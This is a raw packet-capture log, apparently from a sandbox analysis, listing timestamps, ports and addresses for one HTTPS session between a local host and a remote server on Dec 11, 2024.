Dec 11, 2024 12:15:00.733503103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.733628988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.733644962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.733875036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.733875036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.734833002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.734852076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.734970093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.735199928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.735200882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.735200882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.735214949 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.735888958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.735907078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.736244917 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.736263990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.736433983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.737179995 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.737194061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.737339020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.737339020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.737354040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.737531900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.737531900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.738630056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.738646030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.738980055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739003897 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.739168882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739424944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.739442110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.739780903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739782095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739782095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739782095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.739800930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.741261005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.741276026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.741420984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.741420984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.741439104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.741584063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.741584063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.741775036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.741775036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.742566109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.742583990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.742723942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.742734909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.742919922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.742919922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.742919922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.743832111 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.743848085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.743989944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.743989944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744174004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744174004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744174004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744182110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.744524002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.744541883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.744697094 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744698048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744704008 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.744890928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744890928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744890928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.744890928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746268034 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.746284008 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.746433973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746587038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746587992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746587992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746587992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746587992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.746599913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.747227907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.747245073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.747431993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.747451067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.747617006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.747617960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.748713970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.748728991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.749077082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.749077082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.749098063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.749269962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.749269962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.749836922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.749855042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.750266075 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.750284910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.750303984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.751337051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.751352072 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.751410007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.751692057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.751692057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.751692057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.751705885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.801285982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.925478935 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.925561905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.925654888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.925837040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.925837994 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.925849915 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.926076889 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933016062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.933031082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.933176041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933176041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933361053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933361053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933372974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.933552980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933552980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.933976889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.933991909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.934156895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.934165955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.934341908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.934341908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.934993982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.935010910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.935156107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935338020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935338974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935350895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.935529947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935529947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935578108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.935828924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.935844898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.936201096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.936201096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.936211109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.936392069 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.936834097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.936929941 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.937026978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.937026978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.937207937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.937207937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.937218904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.937400103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.937830925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.937841892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.938198090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.938198090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.938198090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.938210964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.938390970 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.938952923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.938966990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.939117908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.939117908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.939271927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.939271927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.939271927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.939284086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.939466000 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.940545082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.940557003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.940706015 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.940886021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.940886021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.940891981 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.941056013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941056013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941056013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941539049 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.941550970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.941879034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941879034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941879034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.941890001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.942071915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.942071915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.942601919 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.942614079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.942943096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.942943096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.942943096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.942951918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.943272114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.943540096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.943640947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.943681955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.943733931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.943737984 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.943912029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.943912029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.944948912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.944958925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.945291042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.945291042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.945291042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.945291042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.945303917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.945956945 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.945971012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.946146011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946146011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946156025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.946338892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946338892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946338892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946338892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.946981907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.946993113 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.947139978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.947150946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.947335005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.947943926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.947956085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.948141098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.948141098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.948151112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.948318005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.948318005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.948869944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.948884964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.949047089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.949047089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.949055910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.949242115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.949242115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.950736046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.950748920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.950885057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.950885057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.950930119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.950937986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.951113939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.951562881 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.951576948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.951731920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.951740980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.951924086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.951924086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.951924086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952120066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952527046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.952538967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.952656031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952704906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952704906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952888012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952888012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952888012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.952898026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.953504086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.953519106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.953645945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.953645945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.953655005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.953891993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.953891993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.953891993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955382109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.955394030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.955543995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955543995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955724955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955724955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955725908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955725908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.955733061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.956197977 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.956212044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.956357002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.956357002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.956368923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.956548929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.956548929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.956549883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.956549883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.957346916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.957359076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.957524061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.957704067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.957704067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.957709074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.958076000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.958091021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.958436966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.958436966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.958436966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.958447933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.959825039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.959835052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.959991932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.959991932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.960005045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.960185051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.960185051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.960185051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.960185051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.960760117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.960771084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.960917950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961103916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961103916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961103916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961103916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961103916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.961118937 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.961843014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.961854935 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.961992025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962001085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.962182999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962182999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962182999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962182999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962754011 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.962764025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.962889910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962937117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962937117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962937117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962937117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.962944984 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.963118076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.964410067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.964421988 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.964606047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.964606047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.964617968 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.964796066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965209007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.965218067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.965334892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965346098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.965387106 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965387106 CET	49832	443	192.168.11.30	172.67.128.139
